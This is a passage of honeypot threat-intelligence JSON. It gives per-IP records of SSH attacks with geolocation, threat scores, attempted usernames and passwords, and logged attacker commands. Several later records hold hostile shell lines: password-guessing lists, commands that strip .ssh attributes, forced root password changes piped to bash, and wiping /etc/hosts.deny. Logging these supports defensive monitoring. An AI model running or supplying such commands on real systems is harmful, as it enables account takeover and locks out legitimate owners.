      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:36:10.078000+00:00",
        "last_seen_30d": "2026-03-15T21:37:13.091000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "184.181.77.19": {
      "attack_count": 2,
      "first_seen": "2026-03-12T09:23:02.988Z",
      "last_seen": "2026-03-12T09:23:15.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hampton",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:23:02.988000+00:00",
        "last_seen_30d": "2026-03-12T09:24:16.375000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.190.41.137": {
      "attack_count": 2,
      "first_seen": "2026-03-26T07:50:16.481Z",
      "last_seen": "2026-03-26T07:50:28.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Ozersk",
      "asn": 48043,
      "as_org": "Ozyorsk Telecom CJSC.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:50:16.481000+00:00",
        "last_seen_30d": "2026-03-26T07:51:30.515000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.54": {
      "attack_count": 2,
      "first_seen": "2026-03-05T22:36:53.902Z",
      "last_seen": "2026-03-05T22:36:54.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T00:13:33+00:00",
        "last_seen_30d": "2026-03-30T18:17:54.991000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 31,
        "ConPot": 22,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "203.168.126.136": {
      "attack_count": 2,
      "first_seen": "2026-03-11T06:41:44.078Z",
      "last_seen": "2026-03-11T06:41:57.996Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hiroshima",
      "asn": 18144,
      "as_org": "Enecom,Inc.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:41:44.078000+00:00",
        "last_seen_30d": "2026-03-11T06:43:02.945000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.49": {
      "attack_count": 2,
      "first_seen": "2026-03-10T10:19:53.780Z",
      "last_seen": "2026-03-10T10:20:03.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T02:06:45+00:00",
        "last_seen_30d": "2026-03-30T04:09:37.284000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 31,
        "Dionaea": 4,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "220.79.81.163": {
      "attack_count": 2,
      "first_seen": "2026-03-14T04:39:10.158Z",
      "last_seen": "2026-03-14T04:39:22.703Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeonsu-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T04:39:10.158000+00:00",
        "last_seen_30d": "2026-03-14T04:40:32.203000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.91.37.187": {
      "attack_count": 2,
      "first_seen": "2026-03-27T15:19:23.794Z",
      "last_seen": "2026-03-27T15:19:37.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ajmer",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T15:19:23.794000+00:00",
        "last_seen_30d": "2026-03-27T15:20:46.474000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.209.246.80": {
      "attack_count": 2,
      "first_seen": "2026-03-10T15:03:08.853Z",
      "last_seen": "2026-03-10T15:04:09.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T05:22:17+00:00",
        "last_seen_30d": "2026-03-25T02:05:56.239000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 3,
        "Cowrie": 2
      }
    },
    "81.226.105.235": {
      "attack_count": 2,
      "first_seen": "2026-03-29T21:30:27.499Z",
      "last_seen": "2026-03-29T21:30:59.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T21:30:27.499000+00:00",
        "last_seen_30d": "2026-03-29T21:32:03.782000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.203.177.121": {
      "attack_count": 2,
      "first_seen": "2026-03-31T15:04:02.291Z",
      "last_seen": "2026-03-31T15:04:33.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 47118,
      "as_org": "MAN net Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:04:02.291000+00:00",
        "last_seen_30d": "2026-03-31T15:05:43.503000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "93.170.27.146": {
      "attack_count": 2,
      "first_seen": "2026-03-24T06:24:29.906Z",
      "last_seen": "2026-03-24T06:26:29.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Vologda",
      "asn": 3229,
      "as_org": "Darinet Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:24:29.906000+00:00",
        "last_seen_30d": "2026-03-24T06:36:34.685000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "98.117.87.15": {
      "attack_count": 2,
      "first_seen": "2026-03-19T23:55:25.786Z",
      "last_seen": "2026-03-19T23:55:38.472Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richmond",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T23:55:25.786000+00:00",
        "last_seen_30d": "2026-03-19T23:56:43.183000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.212.116.145": {
      "attack_count": 3425,
      "first_seen": "2026-03-27T11:26:09.995Z",
      "last_seen": "2026-03-31T23:40:33.911Z",
      "sessions": 679,
      "ports": [],
      "usernames_attempted": [
        "root",
        "emo",
        "systems",
        "pbxsystem"
      ],
      "passwords_attempted": [
        "2025Adm1n",
        "123456ewq!",
        "123456Voip!",
        "123456zaq!",
        "1234Admin.!",
        "123iss@bel",
        "Admin123456",
        "HacoHaco2010",
        "Itsemoemo2025@Washere2025",
        "L0tu5@25!",
        "Pa$$.123",
        "Pa$$word@123",
        "Prabash@123",
        "R3cur.25",
        "asterisk2025",
        "password2026",
        "ph0n3v0xn0v43r4",
        "vivo@01011",
        "00789663538",
        "0ff1n3tN0v4"
      ],
      "commands_executed": [
        "echo login_success"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lowell",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 47.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.03
      },
      "reputation_metrics": {
        "total_events_30d": 5456,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:26:09.995000+00:00",
        "last_seen_30d": "2026-03-31T23:41:35.904000+00:00",
        "days_since_last_seen": -1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3425,
        "Suricata": 2031
      }
    },
    "157.92.145.135": {
      "attack_count": 2418,
      "first_seen": "2026-03-14T11:32:21.183Z",
      "last_seen": "2026-03-17T01:09:38.332Z",
      "sessions": 481,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "hadoop",
        "app",
        "guest",
        "postgres",
        "www",
        "deploy",
        "dolphinscheduler",
        "elastic",
        "lighthouse"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 3449,
      "as_org": "Universidad Nacional de Buenos Aires",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3414,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T11:32:21.183000+00:00",
        "last_seen_30d": "2026-03-17T01:10:40.009000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2418,
        "Suricata": 996
      }
    },
    "157.66.34.121": {
      "attack_count": 1480,
      "first_seen": "2026-03-03T20:40:53.898Z",
      "last_seen": "2026-03-25T16:53:45.977Z",
      "sessions": 116,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "apexuser",
        "api",
        "bitcoin",
        "bot",
        "g",
        "hyun",
        "marcelo",
        "marco",
        "mk",
        "server1",
        "stream",
        "test",
        "xiaoming",
        "yan",
        "yocto",
        "ax",
        "b",
        "bkp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "1234",
        "password",
        "12345",
        "123456",
        "!@QW34er",
        "12121212",
        "123321",
        "12344",
        "1qazXSW@3edcVFR$",
        "Admin123456!",
        "Bingo@1993",
        "Excel123",
        "Gfhjkm123456",
        "QWEasd123...",
        "Qweasd123!@#",
        "Qwerty@1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nBRrXqIpNXT4W\\nBRrXqIpNXT4W\\n\"|passwd",
        "echo \"12345678\\nDp7In7xRyxNc\\nDp7In7xRyxNc\\n\"|passwd",
        "echo \"123456\\nyaoEWmHxYMJW\\nyaoEWmHxYMJW\\n\"|passwd",
        "echo \"1234\\n0VQkoEOhlgqI\\n0VQkoEOhlgqI\\n\"|passwd",
        "echo \"123\\nV0f3wCDvvorx\\nV0f3wCDvvorx\\n\"|passwd",
        "echo \"Xiaoming123!\\nYO4nMrrZSs21\\nYO4nMrrZSs21\\n\"|passwd",
        "echo \"Yocto123!\\ntYL4dUwR4j0X\\ntYL4dUwR4j0X\\n\"|passwd",
        "echo \"api123\\nZ4gF8etYK0Ug\\nZ4gF8etYK0Ug\\n\"|passwd",
        "echo \"bot123\\ny2EFXh91UBbU\\ny2EFXh91UBbU\\n\"|passwd",
        "echo \"hyun1234\\nc6DHtLBUlJbk\\nc6DHtLBUlJbk\\n\"|passwd",
        "echo \"marco1234\\n8S796lcmDPBc\\n8S796lcmDPBc\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55688,
      "as_org": "PT. Beon Intermedia",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1748,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:40:53.898000+00:00",
        "last_seen_30d": "2026-03-25T16:54:52.167000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1480,
        "Suricata": 268
      }
    },
    "103.63.25.153": {
      "attack_count": 798,
      "first_seen": "2026-03-20T11:33:44.505Z",
      "last_seen": "2026-03-30T06:47:48.408Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "antoine",
        "arun",
        "mark",
        "usuario1",
        "allen",
        "awsuser",
        "bin",
        "dev",
        "erp",
        "g",
        "hh",
        "httpd",
        "hugo",
        "innova",
        "jhpark",
        "m",
        "newuser",
        "ocs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "12345678",
        "!@#$qwerg",
        "!QAZ2wsx#EDC4rfv%TGB",
        "1234",
        "123456",
        "12345678a!",
        "1A2b3c4d",
        "1q2w3e4r5T",
        "Awsuser123",
        "Fc@123456",
        "G123",
        "Hh123!",
        "Innova123",
        "Ls123456",
        "Mark123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\ng4oTp0yAOT9G\\ng4oTp0yAOT9G\\n\"|passwd",
        "echo \"12345\\n392LKa7Ahrb5\\n392LKa7Ahrb5\\n\"|passwd",
        "echo \"Mark123\\nohmjjLbjSVgu\\nohmjjLbjSVgu\\n\"|passwd",
        "echo \"antoine123!\\nhTgyVYhU1Z3h\\nhTgyVYhU1Z3h\\n\"|passwd",
        "echo \"root:LxNe7BsskxgJ\"|chpasswd|bash",
        "echo \"root:bBhrkBFIPdI7\"|chpasswd|bash",
        "echo \"root:fKfW4CI6PbXS\"|chpasswd|bash",
        "echo \"root:vbgvPSo1qVOL\"|chpasswd|bash",
        "echo -e \"123456\\ng4oTp0yAOT9G\\ng4oTp0yAOT9G\"|passwd|bash",
        "echo -e \"12345\\n392LKa7Ahrb5\\n392LKa7Ahrb5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 962,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T11:33:44.505000+00:00",
        "last_seen_30d": "2026-03-30T06:48:56.265000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 798,
        "Suricata": 164
      }
    },
    "154.222.24.142": {
      "attack_count": 658,
      "first_seen": "2026-03-16T09:00:40.447Z",
      "last_seen": "2026-03-20T22:40:44.875Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "amir",
        "api",
        "bitcoin",
        "mata",
        "omar",
        "prashant",
        "server1",
        "central",
        "chase",
        "cvs",
        "daniel",
        "dante",
        "dev1",
        "django",
        "github-runner",
        "glenn",
        "guara",
        "intel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "password",
        "1234",
        "123456",
        "123",
        "Admin123456!",
        "Amir123!",
        "Mamad123",
        "Zhangjh123!",
        "api123",
        "central123!",
        "chase",
        "dev1123!",
        "github-runner123",
        "guara@123",
        "jirkapass",
        "newton"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\neHP6QJT3NCIe\\neHP6QJT3NCIe\\n\"|passwd",
        "echo \"12345678\\nlutacVSk8Vyi\\nlutacVSk8Vyi\\n\"|passwd",
        "echo \"Amir123!\\npds0YXnkkrM6\\npds0YXnkkrM6\\n\"|passwd",
        "echo \"api123\\npFNPkH86IFt2\\npFNPkH86IFt2\\n\"|passwd",
        "echo \"omar\\npM0WtEowUn9e\\npM0WtEowUn9e\\n\"|passwd",
        "echo \"prashant1234\\nL6h2v92gIva4\\nL6h2v92gIva4\\n\"|passwd",
        "echo \"server1123\\nlfGFEclMPB8m\\nlfGFEclMPB8m\\n\"|passwd",
        "echo -e \"12345678\\neHP6QJT3NCIe\\neHP6QJT3NCIe\"|passwd|bash",
        "echo -e \"12345678\\nlutacVSk8Vyi\\nlutacVSk8Vyi\"|passwd|bash",
        "echo -e \"Amir123!\\npds0YXnkkrM6\\npds0YXnkkrM6\"|passwd|bash",
        "echo -e \"api123\\npFNPkH86IFt2\\npFNPkH86IFt2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 773,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:00:40.447000+00:00",
        "last_seen_30d": "2026-03-20T22:41:48.594000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 658,
        "Suricata": 115
      }
    },
    "104.244.74.84": {
      "attack_count": 589,
      "first_seen": "2026-03-03T02:16:41.061Z",
      "last_seen": "2026-03-20T21:11:48.469Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "Admin",
        "infra",
        "miner",
        "admin1",
        "adrian",
        "angelica",
        "apagar",
        "big",
        "daniel",
        "dell",
        "g",
        "git",
        "jenkins",
        "kafka",
        "kirill",
        "mahesh",
        "reza"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "1233218613",
        "12345678",
        "113",
        "123",
        "123...com",
        "123654789",
        "5201314",
        "9ijn*UHB",
        "Aa@12345",
        "Abc12345.",
        "Admin123",
        "Big123",
        "Ha@123456",
        "Infra123",
        "P@ssw0rd@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nSLBIpBJoguor\\nSLBIpBJoguor\\n\"|passwd",
        "echo \"Admin123\\nqL3RNcuYzsyY\\nqL3RNcuYzsyY\\n\"|passwd",
        "echo \"Infra123\\n53N3jgIwvsxZ\\n53N3jgIwvsxZ\\n\"|passwd",
        "echo \"password\\nwe82egZu7YDh\\nwe82egZu7YDh\\n\"|passwd",
        "echo \"root:PMaXrHqh17SM\"|chpasswd|bash",
        "echo -e \"123456\\nSLBIpBJoguor\\nSLBIpBJoguor\"|passwd|bash",
